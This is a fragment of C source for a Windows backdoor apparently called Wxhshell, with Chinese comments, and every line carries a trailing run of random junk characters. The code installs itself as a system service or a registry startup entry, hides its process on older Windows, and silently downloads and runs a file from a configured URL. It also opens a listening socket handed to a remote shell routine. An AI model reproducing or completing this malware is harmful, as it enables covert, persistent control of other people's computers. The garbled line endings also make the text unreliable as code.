1rK8jX
ULONG InheritedFromUniqueProcessId; W' VslZG
} PROCESS_BASIC_INFORMATION; tCH!my_
L
ca}J&x]^
PROCNTQSIP NtQueryInformationProcess; /hR&8 `\\
-=Q*Ml#I
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +5*95-;0
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >1Ibc=}g
E<Y$>uKA
HANDLE hProcess; GR_-9}jQP
PROCESS_BASIC_INFORMATION pbi; (mpNcOY<D
z43M]P<
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "%w u2%i
if(NULL == hInst ) return 0; s/#!VnU6
P/eeC"
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }j)e6>K])
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 97*p+T<yp
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &DX! f
EI%89i`3^
if (!NtQueryInformationProcess) return 0; A}9`S6 @@
xJ]\+ 50
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U?Zq6_M&
if(!hProcess) return 0; 6<QQ@5_
@Cyvf5|bL
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +~$ ]}%
BX7kO0j
CloseHandle(hProcess); I+!0 O
[}=B8#Jl-C
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ![=yi
tB
if(hProcess==NULL) return 0; f}P3O3Yv&
6A-|[(NS
HMODULE hMod; /W<;Z;zk
char procName[255]; jV1.Yz(`
unsigned long cbNeeded; r`d4e,(
\ Gvm9M
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
cdT7
@
"<1{9
CloseHandle(hProcess); YjKxb 9
!l8PDjAE
if(strstr(procName,"services")) return 1; // 以服务启动 ;N0XFjdR
Wd:uV
return 0; // 注册表启动 0S!K{xyR
} ,#9PxwrO
@qAS*3j
// 主模块 ;?p>e'
int StartWxhshell(LPSTR lpCmdLine) V**~m9f
{ VU3upy<
SOCKET wsl; `Ggbi4),
BOOL val=TRUE; JK5gQ3C[
int port=0; mz0X3
struct sockaddr_in door; hRhe& ,v
tT_\ i6My
if(wscfg.ws_autoins) Install(); 9W2Vo [(
x'<X!gw
port=atoi(lpCmdLine); +[mk<pQ
?Z/V~,
if(port<=0) port=wscfg.ws_port; n/:33DAB
eD6fpe\(
WSADATA data; @*((1(q
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0x@
mZ
OQJ6e:BGt
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -FaJ^CN~
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2FJ*f/
door.sin_family = AF_INET; ^<2p~h0
\
door.sin_addr.s_addr = inet_addr("127.0.0.1"); LZY"3Jn[nQ
door.sin_port = htons(port); lt8|9"9<
X
l5 A
'h
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1mG-}
closesocket(wsl); 2P0*NQ
return 1; s;Q!X ?Q
} @\#td5'
83#mB:^R
if(listen(wsl,2) == INVALID_SOCKET) { }o`76rDN
closesocket(wsl); H G^'I+Yn
return 1; vXje^>_6
} `b$.%S8uj=
Wxhshell(wsl); ~Mxvq9vaD
WSACleanup(); VMWf>ZU
pW3^X=6
return 0; 6j}9V
L77
4,DeHJjAlE
} Y$@?.)tY
Lp9E:D->
// 以NT服务方式启动 oCz/HQoBk
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &F~T-i>X
{ vEJbA
DWORD status = 0; Q*Pq{]0K
DWORD specificError = 0xfffffff; H/M@t\$Dc
cbTm'}R(G
serviceStatus.dwServiceType = SERVICE_WIN32; Pd Wx|y{%
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5=ryDrx
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q^")jPd
serviceStatus.dwWin32ExitCode = 0; Y}wyw8g/
serviceStatus.dwServiceSpecificExitCode = 0; oUlVI*~ND
serviceStatus.dwCheckPoint = 0; A*BeR0(
serviceStatus.dwWaitHint = 0; I; rGD^
pEA:L$&
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F:S}w
if (hServiceStatusHandle==0) return; S?2>Er
=T7.~W
status = GetLastError(); Y.p;1"
if (status!=NO_ERROR) ]D\D~!R
{ VI*$em O0
serviceStatus.dwCurrentState = SERVICE_STOPPED; l*G[!u
serviceStatus.dwCheckPoint = 0; X"%gQ.1|{j
serviceStatus.dwWaitHint = 0; )9]P MA?u
serviceStatus.dwWin32ExitCode = status; 1$h,m63)
serviceStatus.dwServiceSpecificExitCode = specificError; vnuN6M{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Iu=(qU
return; f3y=Wxk[
} sRb9`u=)
}Zp,+U*"
serviceStatus.dwCurrentState = SERVICE_RUNNING; 1?l1:}^L
serviceStatus.dwCheckPoint = 0; U]rRQ
d/:;
serviceStatus.dwWaitHint = 0; do'GlU oMC
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "3J}b?u_[
} _|`S3}q|d
;!Fn1|)
// 处理NT服务事件,比如:启动、停止 ,eS)e+yzc2
VOID WINAPI NTServiceHandler(DWORD fdwControl) pd$[8Rmj_
{ _lq`a\7e
switch(fdwControl) VUuE T
{ ftSW
(og
case SERVICE_CONTROL_STOP: j1<Yg,_.p
serviceStatus.dwWin32ExitCode = 0; wC'Szni
serviceStatus.dwCurrentState = SERVICE_STOPPED; -mh3DhJ,
serviceStatus.dwCheckPoint = 0; *{5fq_
serviceStatus.dwWaitHint = 0; (/$^uWj
{ RxQ *
SetServiceStatus(hServiceStatusHandle, &serviceStatus); E"IZ6)Q
} 1|:KQl2q
return; ;hq\
case SERVICE_CONTROL_PAUSE: Q/Rqa5LI:
serviceStatus.dwCurrentState = SERVICE_PAUSED; {n=|Db~S
break; :k#HW6p
case SERVICE_CONTROL_CONTINUE: #<xm.
serviceStatus.dwCurrentState = SERVICE_RUNNING; |w3M7;~eF
break; m]&SN z=
case SERVICE_CONTROL_INTERROGATE: t6t!t*jO
break; 7d\QB(~
}; K(|}dl:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); rvM {M/4
} nJ;.Td
m4Zk\,1m.|
// 标准应用程序主函数 -nwypu
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F"mmLao
{ lEBLZ}}\
|uJ%5y#
// 获取操作系统版本 Dha1/g1q
OsIsNt=GetOsVer(); ~$J2g
GetModuleFileName(NULL,ExeFile,MAX_PATH); ia?
c0xL
B)UZ`?>c
// 从命令行安装 w32y3~
if(strpbrk(lpCmdLine,"iI")) Install(); LR3*G7
?q [T
// 下载执行文件 y1#1Ne_
if(wscfg.ws_downexe) { L"aeG
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \{D"
!e
WinExec(wscfg.ws_filenam,SW_HIDE); bI`g|v
} 2Khv>#l
6S{l'!s'
if(!OsIsNt) { (;,sc$H]
// 如果时win9x,隐藏进程并且设置为注册表启动 s#GLJl\E_P
HideProc(); !'I8:v&D
StartWxhshell(lpCmdLine); d_P` qA
} #0<XNLM
else hqdDm
if(StartFromService()) 1 -b_~DF
// 以服务方式启动 %l%HHT
StartServiceCtrlDispatcher(DispatchTable); K)P%;X
else !@"OB~
// 普通方式启动 O".=r}
StartWxhshell(lpCmdLine); QsW/X0YBv
1
TXioDs=_
return 0; "Y.y:Vv;
}